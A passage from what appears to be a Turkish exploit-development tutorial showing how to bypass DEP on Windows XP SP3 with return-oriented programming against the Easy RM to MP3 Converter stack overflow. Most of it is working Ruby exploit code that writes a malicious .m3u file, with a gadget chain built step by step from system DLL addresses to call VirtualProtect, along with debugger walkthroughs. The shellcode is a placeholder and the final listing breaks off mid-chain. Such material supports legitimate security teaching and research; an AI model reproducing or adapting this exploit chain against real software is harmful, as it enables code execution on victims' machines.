Yani biz kontrolünü sağladığımız uygulamanın akışını buraya yönlendirirsek VP() fonksiyonu bu parametreler ile çalıştırılacak ve 0x10203040 adresinden itibaren 0x190 (400 byte)'lık alan çalıştırılabilir olarak işaretlenecektir ve uygulamanın akışı 0x10203040 adresinden itibaren devam edecektir. Kısacası DEP bypass edilecektir :>

VirtualProtect fonksiyonunun adresini bulmak için kernel32.dll dosyasını IDA gibi bir disassembler ile açarak Export edilen fonksiyonları görüntülediğiniz Exports penceresinden bulabilirsiniz, aynen aşağıdaki gibi.

Gadget Nedir?
Gadget, kodlar barındıran ve akışın tekrar stack'e dönüp stack'teki bir sonraki DWORD değeri alıp o adresten kod çalıştırmaya devam etmesini sağlayan kod parçalarıdır. Stack'e geri dönülüp alınan değerdeki adresten kod çalıştırılmaya devam edilmesini sağlayan Assembly instruction'ı ise RET ve türevleridir. Aşağıdaki kod parçası için bir "gadget"tır diyebiliriz.

Gadget:
0x7C102030 PUSH EAX
0x7C102031 POP ECX
0x7C102032 POP ESI
0x7C102033 RETN

Stack:
0x7C102030
0xDEADBEEF
0x10014060

Bu gadget kısaca şunu yapıyor, EAX'deki değeri PUSH ediyor yani stack'e yolluyor, POP ECX instruction'ı ile PUSH edilen değeri ECX'e alıyor, POP ESI ile stack'ten DWORD'lük bir değeri (0xDEADBEEF) ESI'ye alıyor ve en son RETN ile ESI'ye aktarılan değerden sonraki DWORD değerdeki adresten (0x10014060) çalışmaya devam ediyor. (Not: Buradaki adresler örnek amaçlıdır ve gerçek değildir, sonra vay efendim ben 0x7C102030'a baktım böyle bir gadget yok demeyelim :) )

Adım: EAX'ın değeri stack'te
Adım: ECX = EAX
Adım: ESI = 0xDEADBEEF
Adım: Stack'e geri dön ve 0x10014060 adresinden başlayarak bir sonraki RETN'e kadar çalıştır.

İşte yukarıdaki adımlar bizim ROP exploitimizi oluşturacak adımlar, tabi daha karmaşık adımlar ile mücadele edeceğiz :) Şunu belirmekte fayda var, bu tekniği daha efektif kullanabilmek için iyi bir Assembly bilginizin olması artı yönde katkı sağlayacaktır.

Buraya kadar olan kısım anlaşıldı ise artık elleri kirletmenin vakti geldi demektir. Şimdi örnek bir Stack Overflow zafiyetli uygulama üzerinden DEP'in aktif olduğu bir sistemde gadget'ları biraz daha anlamak için pratik yapacağız. Sonraki kısımda ise yine aynı uygulamadaki zafiyet için bir ROP exploit'i yazacağız.

Gadget'ları Anlamak
Hedef olarak Easy RM2MP3 adındaki klasik stack overflow zafiyeti olan programı kullanacağız. File format tabanlı bir zafiyeti seçmemin sebebi ilk aşamada rahat rahat kullanabileceğimiz bir stack'e sahip olmamız. İşletim sistemi olarakta XP SP3'ü hedef aldık ve DEP koruması olarakta OptIn'i seçtim (AlwaysOn yaptığınızda reboot etmeniz gerekmekte ben biraz üşengeçlik yaptığımdan OptIn'i seçtim :> )

Ruby ile ilk aşamada basit bir PoC yazdım. Bu PoC rop.m3u adında bir dosya oluşturacak, bu dosyanın içerisinde bizim payload'umuz olacak ve hedef uygulamada bu dosyayı açacağız.

PoC.rb

filename = "rop.m3u"
buffersize = 26109
junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload
rop = "FFFF"
rop << [0x1002E796].pack("V*") # POP EAX + POP EBP + RET
rop << [0x44444444].pack("V*") # Will be pop'd to EAX
rop << [0x88888888].pack("V*") # Will be pop'd to EBP
rop << [0x1002DC4C].pack("V*") # ADD EAX, 100 + POP EBP + RET
rop << [0xC00FFEEE].pack("V*") # Will be pop'd to EBP
rop << [0x100155D7].pack("V*") # INT 3

# shellcode to execute from stack when ROP success
shellcode = ("C" * 900)

payload = "#{junk}#{eip}#{rop}#{shellcode}"

puts "Payload size : #{payload.length}"

File.open("rop.m3u", "w") { |f| 
 f.write(payload)
}

Kullanmış olduğum instruction'lar şu adreslerde yer alıyor sırasıyla;

0x1002DC2A
0x1002E796
0x1002DC4C
0x100155D7

Immunity Debugger'ın komut satırında u 0x1002DC2A komutunu çalıştırdığımda hemen yukarıdaki Disassembly penceresinde ilgili adreste hangi instruction olduğunu görebilirsiniz. Sırasıyla bakarsak eğer 0x1002DC2A adresinde RET instruction'i var. Bu adresi EIP'e yazdirdik yani EIP çalıştığında doğrudan stack'e dönecek. Sıradan devam ediyorum u 0x1002E796 komutunu çalıştırdığımda karşıma POP EAX + POP EBP + RET instruction seti çıkmakta.

0x1002E796 adresindeki gadget

0x1002DC4C adresinde ise ADD EAX, 100 + POP EBP + RET instruction seti var. 0x100155D7 adresinde ise INT 3 instruction'ı var, yani breakpoint. Adım adım gadget'ların nasıl register'ları etkilediğini (daha doğrusu gadget'ları doğru bir şekilde çalıştırabildiğimizi) göreceğiz. 0x1002DC2A adresine ImmDbg komut satırında b 0x1002DC2A şeklinde bir breakpoint koyuyorum ve rop.m3u dosyasını uygulama ile açıyorum. Program şuan 0x1002DC2A adresinde duraklatıldı. Step Over (F8) diyerek adım adım ilerliyorum.

POP EAX İşlemi

POP EAX işlemi sonunda stack'teki 0x44444444 değeri EAX'e yüklendi (Not: Resimlerin üzerine tıklayarak büyük hallerini görebilirsiniz).

POP EBP İşlemi

POP EBP işlemi sonunda stack'teki 0x88888888 değeri EBP'ye yüklendi. Sonrasında RETN instruction'ı ile stack'e döndük ve programın akışı 0x1002DC4C adresine yönlendi.

ADD EAX, 100 İşlemi

Bu işlem ile EAX'a 0x100 (Decimal olarak: 256) değerini ekledik. Yani EAX 0x44444444 idi, bu işlemden sonra 0x44444444 + 0x100 = 0x44444544 oldu. Aşağıdaki ekran görüntüsünden EAX'in yeni değerini görebilirsiniz.

POP EBP ve EAX = 0x44444544

Gördüğünüz gibi şu ana kadar ki tüm işlemleri gadget'larımız ile gerçekleştirdik. POP EBP işleminden sonrada EBP'nin yeni değeri stack'teki 0xC00FFEE olacaktır. Yorulan ya da uykusu gelen varsa okumaktan bir 0xC00FFEEE alsın kendine :))

RETN ve EBP = 0xC00FFEEE

Bu aşamaya kadar başarılı bir şekilde uygulama yaptıysanız artık exploiting aşamasına geçebiliriz.

Exploiting
Exploiting aşamasında ilk olarak ROP gadget'ları çıkartabileceğimiz ve program tarafından yüklenen kütüphaneleri bulmamız ve o kütüphaneleri hafızadaki durumlarına göre filtrelememiz gerekiyor. ImmDbg'in pvefindaddr eklentisi ile kolayca bunu yapabiliriz. ImmDbg komut satırında !pvefindaddr noaslr komutunu çalıştırarak log penceresine bakıyoruz.

Yüklenen DLL'ler

ASLR'nin etkin olmadığı ve BaseFixup (Yani modül her zaman aynı base adreste konumlanmayabilir) olmayan modüllerde ROP gadget'ları aramak yazacağımız exploit'in için daha stabil çalışmaları için etkili olacaktır. Exploitimizi yazmaya başlıyoruz..

Exploit'imizin yapısı şu şekilde olabilir.

ROP Exploit Yapısı

Normalde shellcode'umuzun adresini dinamik olarak hesaplamak haricinde pek bir gadget'a ihtiyaç yok gibi duruyor. Fakat VP fonksiyonunun diğer parametreleri NULL byte (0x00) içerdiği için ve hedef uygulama NULL byte'ları öldürdüğü için mecburen diğer parametreleride dinamik olarak oluşturup ilgili konumlarına yazacağız. İlk olarak şunu yapıyoruz, EIP'e sadece RET instruction'ını barındıran bir adres yazacağız ve stack'e geri döneceğiz. Ardından shellcode'umuzun adresini hesaplayabilmek için ESP'yi bir yada birden çok register'da saklayacağız ve daha sonra diğer işlemlerimize geçeceğiz. İlk gadget'ımız 0x1002DC2A adresinde ve sadece RETN instruction'ı içeriyor, kısacası hemen stack'e dönecek ve bir sonraki adrese giderek oradaki instruction'ları çalıştıracak. Bir sonraki instruction'ınımın adresi ise 0x5AD79277 ve bu gadget PUSH ESP + MOV EAX, EDX + POP EDI + RET instruction'larını içeriyor. ESP'ideki değeri EDI'yede atıyor.

EDI = ESP

Bir kaç register'da daha ESP'yi saklamak faydalı olacaktır daha sonraki işlemler için. Bunun için bulduğum gadget'lar şu adreslerde 0x77C34DC2 ve 0x775D131E. İlk gadget MOV EAX,EDI instruction'ı ile EDI'yi (EDI = ESP) EAX'a taşıyor, ikinci gadget ise PUSH EAX + POP ESI instruction'ları ile EAX'ı (EAX = ESP) stack'e PUSH ediyor ve daha sonra o değeri ESI'ye alıyor. Son durumda register'ların durumu şu şekilde;

EAX = 0x000FF734
EDI = 0x000FF734
ESP = 0x000FF734
ESI = 0x000FF734

VirtualProtect fonksiyonunu temsili bir şekilde stack'te yer edindirmek içinde parametreleri rastgele değerler ile exploitimize giriyoruz.

Exploit:

filename = "rop2.m3u"
buffersize = 26109
junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload
rop = "FFFF"
rop << [0x5AD79277].pack("V*") # PUSH ESP + ... + POP EDI + RET
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x33445566].pack("V*") # trash for POP 
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP'nin değerine sahipler

# VirtualProtect
rop << [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll
rop << [0x44444444].pack("V*")
rop << [0x45454545].pack("V*")
rop << [0x46464646].pack("V*")
rop << [0x47474747].pack("V*")
rop << [0x10035005].pack("V*")

nops = ("\x90" * 100)
shellcode = ("\xCC" * 350)
junk2 = ("\xCC" * (600 - shellcode.length))
payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"

puts "Payload size : #{payload.length}"

File.open("rop2.m3u", "w") { |f| 
 f.write(payload)
}

VirtualProtect fonksiyonunun çalıştırılmaması için ESP'yi biraz arttırarak VirtualProtect ve parametrelerini aşmamız gerekmekte. VP() yer tutucusu 6 DWORD'den oluşmakta. 6 DWORD demek 6 x 4 = 24 byte demek. ADD ESP, 18 gibi instruction benim için bu işlemi yapacaktır. 0x77C22894 adresinde işimi görebilecek bir gadget mevcut. ADD ESP,20 + POP EBP + RET instruction'larından oluşan bu gadget ile ESP'yi 32 byte (20h = 32d) kaydırabilmem mümkün. Şunuda not olarak eklemek gerekmekte. Exploit'te görebileceğiniz gibi 0x77C34DC2 gadget'ından sonra ROP Payload'uma 0x33445566 gibi bir değer daha ekledim. Bu değer POP ESI instruction'ına atanacak. Önemsiz bir değerde olsa mutlaka bir değer verilmeli gadget içinde eğer POP instruction'ı varsa, yoksa POP instruction'ları stack'ten bir sonraki değeri alacaktır ve ROP Payload'unuz istediğiniz gibi çalışmayacaktır. 0x5AD79277 gadget'ında da POP işlemi var ama herhangi bir değer neden girmedik diye soracaksanız bunun cevabı zaten gadget'ın içerisinde. PUSH işlemi bir DWORD değeri stack'e attı, sonrasındaki POP işlemi ise o atılan değeri otomatik olarak aldı. Gadget, PUSH ESP + POP EDI + POP EAX şeklinde olsaydı benim ROP Payload'um şu şekilde olacaktı.

rop << [0x5AD79277].pack("V*") # PUSH + POP + POP
rop << [0x44332255].pack("V*") # En son POP için

Kaldığımız yerden devam.. Exploit'imin son hali şu şekilde;
Exploit:

filename = "rop2.m3u"
buffersize = 26109
junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload
rop = "FFFF"
rop << [0x5AD79277].pack("V*") # PUSH ESP + ... + POP EDI + RET
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x33445566].pack("V*") # trash for POP 
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP'nin değerine sahipler

rop << [0x77C22894].pack("V*") # ADD ESP,20 + POP + RET
rop << [0x41414141].pack("V*") # trash for POP

# VirtualProtect
rop << [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll
rop << [0x44444444].pack("V*")
rop << [0x45454545].pack("V*")
rop << [0x46464646].pack("V*")
rop << [0x47474747].pack("V*")
rop << [0x10035005].pack("V*")
rop << [0x61616161].pack("V*") # add esp,20 için
rop << [0x61616161].pack("V*") # add esp,20 için

rop << [0x77887788].pack("V*")

nops = ("\x90" * 100)
shellcode = ("\xCC" * 350)
junk2 = ("\xCC" * (600 - shellcode.length))
payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"

puts "Payload size : #{payload.length}"

File.open("rop2.m3u", "w") { |f| 
 f.write(payload)
}

VP()'den sonra koymuş olduğum iki adet 0x61616161 değerleri toplamda boyutu 32'ye tamamlamak içindi. Aksi halde ESP istediğim yere işaret etmeyecekti. Eğer herşey doğru ise ESP'nin değeri 20h (32d) artmalı ve bir sonraki çalıştırılacak gadget olarak 0x77887788 adresine gitmeye çalışmalı programın akışı. 0x5AD79277 adresine breakpoint koyup dosyayı hedef program ile açıyoruz ve EIP 0x77887788 olana kadar Step Over (F8) yaparak gidiyoruz. Aşağıdaki resime bakarsanız, register'lardaki kaydedilmiş ESP değerlerini görebilirsiniz. Bir sonraki resimden ise EIP'in 0x77887788 adresine gitmeye çalıştığını görebilirsiniz. Eğer bu adımları başarıyla gerçekleştirdiyseniz, artik VP() fonksiyonuna müdahele ederek parametreleri istenilen değerlere atama aşamasına geçebiliriz.

Sonraki Adımda EIP

EDI, ESI ve EAX register'larında ESP'nin ilk baştaki değeri mevcut. Bu değere göre bir register'ı shellcode'umun adresine eşitleyeceğim VP()'nin ilk iki parametresi için. Öncelikle shellcode'umun adresine bakıyorum.

Stack'in Durumu

İlk iki parametreyi C'lerin bulunduğu adreslerden bir tanesine işaret edecek şekilde ayarlarsam başarılı olabilirim. Arayı biraz bırakırsam iyi olur çünkü araya başka gadget'larda gireceği için yeterli alanı sağlamam gerekmekte. Bunun için ADD EAX, XX gibi bir gadget bulmalıyım. Bulduğum gadget'lar içerisinde en kullanışlı olanı ADD EAX, 100h gadget'ı. EAX (0x000FF734) + 0x100 (256d) = 0x000FF834 adresine tekabül etmekte. Shellcode'umu bu adrese işaret edecek şekilde daha sonra konumlandıracağım. Şuan için shellcode yerine C karakteri kullandık. Artık EAX shellcode'umuza işaret ediyor diyebiliriz.

İlk parametreyi atamak için saved ESP'ye sahip register'lardan bir tanesini temel pointer olarak kullanıp işaret ettikleri değerleri değiştirebilmemiz lazım. Şuan için elimizde ESI ve EDI kaldı sadece saved ESP'ye sahip register'lar olarak. Bulmuş oldupum gadget'lar arasındaki en kullanışlısı 0x7301D6EA adresindeki gadget. Bu gadget şu instruction'lara sahip;

MOV DWORD PTR DS:[ESI+18],EAX
MOV DWORD PTR DS:[ESI+1C],EAX
MOV EAX,ESI
POP ESI
POP EBP
RETN 4

Görüleceği gibi gadget ESI+18 ve ESI+1C adreslerine EAX'in değerini yazıyor. ESI (0x000FF734) + 0x18 (24d) = 0x000FF74C ve ESI (0x000FF734) + 0x1C (28d) = 0x000FF750.

0x000FF74C adresinde DDDD ve 0x000FF750 adresinde ise EEEE değerleri var. Bulmuş olduğum gadget tek atışta DDDD ve EEEE değerlerini EAX'in değerine eşitleyeceğiz.

Bulmuş olduğumuz kullanışlı gadget'ımız sayesinde tek atışta 0x000FF74C ve 0x000FF750 adreslerine EAX'ın değerini yazdırdık. Ama şuan için sorunumuz gadget içerisindeki MOV EAX, ESI ve POP ESI instruction'larının mevcut değerleri bozması. Bir sonraki gadget ile bu değerleri kurtarmamız gerekecek. Bunun içinde daha önceden kullandığımız MOV EAX,EDI + POP ESI + RET ve PUSH EAX + POP ESI + RETN gadget'larını kullanacağız. Exploitimizin son hali şu şekilde olmalı.

filename = "rop2.m3u"
buffersize = 26109
junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload
rop = "FFFF"
rop << [0x5AD79277].pack("V*") # PUSH ESP + ... + POP EDI + RET
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x33445566].pack("V*") # trash for POP 
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP'nin değerine sahipler

rop << [0x77C22894].pack("V*") # ADD ESP,20 + POP + RET
rop << [0x41414141].pack("V*") # trash for POP

# VirtualProtect
rop << [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll
rop << [0x44444444].pack("V*")
rop << [0x45454545].pack("V*")
rop << [0x46464646].pack("V*")
rop << [0x47474747].pack("V*")
rop << [0x10035005].pack("V*")
rop << [0x61616161].pack("V*") # add esp,20 için
rop << [0x61616161].pack("V*") # add esp,20 için

# EAX'i shellcode'a işaret ettiriyoruz
rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN > msvcrt.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x000FF734
# Overwrite first & second parameter of VP()
rop << [0x7301D6EA].pack("V*") # MOV DWORD PTR DS:[ESI+18],EAX + MOV DWORD PTR DS:[ESI+1C],EAX + MOV EAX,ESI + POP ESI + POP EBP + RETN 4 > MFC42.dll
rop << [0x41414141].pack("V*") # trash for POP ESI
rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x41414141
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x14141414].pack("V*") # trash for RETN 4
rop << [0x62626262].pack("V*") # trash for POP ESI
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN

nops = ("\x90" * 100)
shellcode = ("\xCC" * 350)
junk2 = ("\xCC" * (600 - shellcode.length))
payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"

puts "Payload size : #{payload.length}"

File.open("rop2.m3u", "w") { |f| 
 f.write(payload)
}

RETN+N şeklindeki instruction'lar için kısa bir bilgilendirme yapmak lazım. Bu tip durumlarda N adet DWORD'ü bir sonraki instruction'dan sonra konumlandırmak lazım aksi takdirde ROP Payload'umuz istediğimiz gibi çalışmayacaktır. Bunun sebebi ise RETN+N komutu çalıştırıldığı zaman stack'ten N kadar parametrenin POP edilmesidir.

ROP Payload'una bakacak olursanız ESI ve EAX'ı kurtardık. Bir sonraki görevimiz ESI+20 (0x000FF754) konumuna korunma durumunu değiştireceğimiz alanının boyutunu girmek (VP()'nin 3.parametresi). Bunun için yine EAX'i kullanabiliriz. Öncelikle EAX'i sıfırlıyoruz, XOR EAX, EAX işlemini yapan bir gadget buluyoruz. Bu arada gadget bulma işlemi için debugger'ın arama özelliğini ya da pvefindaddr gibi bir PyCommand'ı kullanabilirsiniz, tercihinize kalmış bir durum. 0x100307A9 adresindeki XOR EAX, EAX gadget'ı ile EAX'ı 0(sıfır)'a eşitliyoruz. Daha sonra 0x77C4EC2B adresindeki ADD EAX, 100 gadget'ı ile EAX'ı 100h'ye eşitliyoruz. ADD EAX, 100 gadget'ını 4 kez çalıştırırsak EAX'a 0x400 (1024d) gibi bir değer atanacaktır ki bu boyut shellcode'umuz için oldukça kullanışlı. ROP Payload'umuza aşağıdaki eklemeyi yapıyoruz.

rop << [0x100307A9].pack("V*") # XOR EAX, EAX + RETN
rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN
rop << [0x41414141].pack("V*") # trash for POP EBP
rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN
rop << [0x41414141].pack("V*") # trash for POP EBP
rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN
rop << [0x41414141].pack("V*") # trash for POP EBP
rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN
rop << [0x41414141].pack("V*") # trash for POP EBP

Artık EAX, 0x400 değerine eşit. Yani VP()'nin 3.parametresi stack üzerindeki. Yine çok kullanışlı olarak bulduğum gadget'lardan 0x775DD86D gadget'ını kullanıcam. Bu gadget'ın komutları şu şekilde;

MOV DWORD PTR DS:[ESI+20],EAX
POP ESI
POP EBX
POP EBP
RETN 4

Bir önceki parametre yazma işleminde olduğu gibi ESI+20 stack üzerinde VP()'nin 3.parametresine denk geliyor. Ayrıca bazı durumlarda daha kullanışlı olan NEG instruction'ı ile değeri elde etmek daha kısa olabiliyor. NEG instruction'ı verdiğiniz değeri 0xFFFFFFFF ile XOR'luyor. Ufak bir Ruby kodu yazdım ve 1024d elde etmek için hangi değeri kullanmam gerektiğini bulmaya yarıyor.

# negazord.rb
searchval = ARGV[0]

for i in 0..31337
 total = 0xFFFFFFFF - i
 negazored = "0x%08x" % (total ^ 0xFFFFFFFF)
 
 if negazored.to_i(16) == searchval.to_i
  puts "[+] founded! 0x#{total.to_s(16).upcase}"
 end
end

Şu şekilde kullanarak 0xFFFFFBFF değerinin 0x400 yapacağını buldum.

[cb@world:~]> ruby Codes/ruby/negazord.rb 1024
[+] founded!
[+] NEG (0xFFFFFBFF) = 0x00000400 (1024d)

EAX'e 0xFFFFFBFF değerini POP edip ardından EAX'ı NEG işlemine tabi tutmalıyım. 0x77C4E0DA adresindeki gadget POP EAX + RETN içeriyor, EAX'ı 0xFFFFFBFF'e eşitledik. 0x77C1D1E3 adresindeki gadget ise NEG EAX + POP EBP + RETN içeriyor ve EAX'ı NEG instruction'ı ile 0x400 yaptık.

rop << [0x77C4E0DA].pack("V*") # POP EAX + RETN > msvcrt.dll 
rop << [0xFFFFFBFF].pack("V*") # NEG(0xFFFFFBFF) = 0x00000400
rop << [0x77C1D1E3].pack("V*") # NEG EAX + POP EBP + RETN > msvcrt.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

Exploit'imi NEG instruction'ı kullanacak şekilde güncelledim ve ADD EAX, 100 gadget'larını kaldırdım. Daha önceden yaptığım gibi yine ESI'yi kurtarmam lazım bunun içinde daha önceden kullanmış olduğum MOV EAX,EDI + POP ESI + RET ve PUSH EAX + POP ESI + RETN gadget'larını kullanacağım. Bu gadget'lar ile ESI'yi tekrar 0x000FF734 değerine eşitledim. Tekrar EAX'i XOR ile sıfırlıyarak 4.parametre olan 0x40'a eşitleyeceğim. 0x7C972250 adresinde ADD EAX, 40 instruction'ına sahip bir gadget var onu kullanacağız ve son olarak 0x77ECF538 adresindeki MOV DWORD PTR DS:[ESI+24],EAX + POP ESI + RETN instruction'ı ile ESI+24'e yani 4.parametreye 0x40 yazdıracağız. Exploit'in ve stack'in son hali şu şekilde.

Exploit:

filename = "rop2.m3u"
buffersize = 26109
junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload
rop = "FFFF"
rop << [0x5AD79277].pack("V*") # PUSH ESP + ... + POP EDI + RET
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x33445566].pack("V*") # trash for POP 
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP'nin değerine sahipler

rop << [0x77C22894].pack("V*") # ADD ESP,20 + POP + RET
rop << [0x41414141].pack("V*") # trash for POP

# VirtualProtect
rop << [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll
rop << [0x44444444].pack("V*")
rop << [0x45454545].pack("V*")
rop << [0x46464646].pack("V*")
rop << [0x47474747].pack("V*")
rop << [0x10035005].pack("V*")
rop << [0x61616161].pack("V*") # add esp,20 için
rop << [0x61616161].pack("V*") # add esp,20 için

# EAX'i shellcode'a işaret ettiriyoruz
rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN > msvcrt.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x000FF734
# Overwrite first & second parameter of VP()
rop << [0x7301D6EA].pack("V*") # MOV DWORD PTR DS:[ESI+18],EAX + MOV DWORD PTR DS:[ESI+1C],EAX + MOV EAX,ESI + POP ESI + POP EBP + RETN 4 > MFC42.dll
rop << [0x41414141].pack("V*") # trash for POP ESI
rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x41414141
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x14141414].pack("V*") # trash for RETN 4
rop << [0x62626262].pack("V*") # trash for POP ESI
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN

# EAX = 0x000FF734
# EDI = 0x000FF734
# ESI = 0x000FF734
# EAX'i shellcode size'a eşitliyoruz VP()'nin 3.parametresi olarak
rop << [0x77C4E0DA].pack("V*") # POP EAX + RETN > msvcrt.dll 
rop << [0xFFFFFBFF].pack("V*") # NEG(0xFFFFFBFF) = 0x00000400
rop << [0x77C1D1E3].pack("V*") # NEG EAX + POP EBP + RETN > msvcrt.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX'i (0x300) ESI+20'ye taşıyoruz.. VP()'nin 3.parametresi
rop << [0x775DD86D].pack("V*") # MOV DWORD PTR DS:[ESI+20],EAX + POP ESI + POP EBX + POP EBP + RETN 4 > ole32.dll
rop << [0x41414141].pack("V*") # trash for POP ESI
rop << [0x41414141].pack("V*") # trash for POP EBX
rop << [0x41414141].pack("V*") # trash for POP EBP

# ESI tekrar kurtarıldı
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x41414141].pack("V*") # trash for RETN 4
rop << [0x14141414].pack("V*") # trash for POP ESI
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN > ole32.dll

# EAX'i VP()'nin 4.parametresi olan 0x40'a eşitliyoruz..
rop << [0x100307A9].pack("V*") # XOR EAX, EAX + RETN > MSRMfilter03.dll
rop << [0x7C972250].pack("V*") # ADD EAX,40 + POP EBP + RETN > ntdll.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

# ESI+24'e EAX(0x40)'i yazdiriyoruz..
rop << [0x77ECF538].pack("V*") # MOV DWORD PTR DS:[ESI+24],EAX + POP ESI + RETN > RPCRT4.dll
rop << [0x41414141].pack("V*") # trash for POP ESI


nops = ("\x90" * 100)
shellcode = ("\xCC" * 350)
junk2 = ("\xCC" * (600 - shellcode.length))
payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"

puts "Payload size : #{payload.length}"

File.open("rop2.m3u", "w") { |f| 
 f.write(payload)
}

Stack'in Son Durumu

Stack son durumu yukarıdaki gibi. VP()'nin tüm parametrelerini istediğimiz şekilde ayarladık. Şimdi tek yapmamız gereken ESP'yi VP()'nin başlangıcına (0x000FF748) eşitlemek ve RETN ile yeni ESP'ye dönmek ve DEP'i bypass etmek.

İlk olarak EAX'ı tekrar kurtarmam lazım. Ne gerek var EDI'yi kullan diyebilirsiniz belki ama EDI ile çok fazla gadget bulunamayabiliyor. Bu yüzden yine MOV EAX,EDI + POP ESI + RETN gadget'ı ile EAX'ı tekrar 0x000FF734 değerine eşitliyorum.

rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x41414141].pack("V*") # trash for POP ESI

Aşağıdaki resimden görebileceğiniz üzere VirtualProtect'in adresi ve parametreleri 0x000FF748 adresinden itibaren başlıyor. O zaman benim EAX'ı 0x14 (20d) kadar arttırmam ve ardından EAX'ı ESP'ye taşımam lazım.

EAX'ı arttırmak için bulabildiğim gadget'lar 0x77C1F2CF adresindeki ADD EAX,0C + RETN ve 0x1001D2AC adresindeki ADD EAX,4 + RETN gadget'ları. Gadget'ları aşağıdaki şekilde çalıştırarak EAX'ı 0x000FF748'e eşitliyorum. Ardından 0x77C15ED5 adresinde bulmuş olduğum XCHG ESP,EAX + RETN gadget'ı ilede ESP'yi 0x000FF748 EAX'ı ise ESP'nin değerine eşitliyorum (Bu aşamadan sonra çok önemli değil EAX'ın başına gelenler).

Bingo! VP() fonksiyonu başarıyla çağırıldı, shellcode'umun bulunduğu alan kod çalıştırılabilir hale getirildi ve shellcode'um çalıştı!

Exploit çalıştırılmadan önce

Exploit çalıştırıldıktan sonra

Son olarak exploit'imin son hali:

filename = "rop2.m3u"
buffersize = 26109
junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload
rop = "FFFF"
rop << [0x5AD79277].pack("V*") # PUSH ESP + MOV EAX, EDX + POP EDI + RET
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0xffffff14].pack("V*") # trash for POP 
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN > ole32.dll
# EDI, ESI ve EAX saved ESP'ye sahipler

rop << [0x77C22894].pack("V*") # ADD ESP,20 + POP EBP + RET
rop << [0x41414141].pack("V*") # trash for POP EBP

# VirtualProtect Placeholder
rop << [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll
rop << [0x44444444].pack("V*")
rop << [0x45454545].pack("V*")
rop << [0x46464646].pack("V*")
rop << [0x47474747].pack("V*")
rop << [0x10035005].pack("V*")

rop << [0x61616161].pack("V*") # some padding for add esp,20
rop << [0x61616161].pack("V*")

# EAX'i shellcode'a işaret ettiriyoruz
rop << [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN > msvcrt.dll
rop << [0x41414141].pack("V*") # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x000FF734
# Overwrite first & second parameter of VP()
rop << [0x7301D6EA].pack("V*") # MOV DWORD PTR DS:[ESI+18],EAX + MOV DWORD PTR DS:[ESI+1C],EAX + MOV EAX,ESI + POP ESI + POP EBP + RETN 4 > MFC42.dll
rop << [0x41414141].pack("V*") # trash for POP ESI
rop << [0x41414141].pack("V*") # trash for POP EBp

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x41414141
rop << [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop << [0x14141414].pack("V*") # trash for RETN 4
rop << [0x62626262].pack("V*") # trash for POP ESI
rop << [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN > ole32.dll

# EAX = 0x000FF734
# EDI = 0x000FF734
# ESI = 0x000FF734
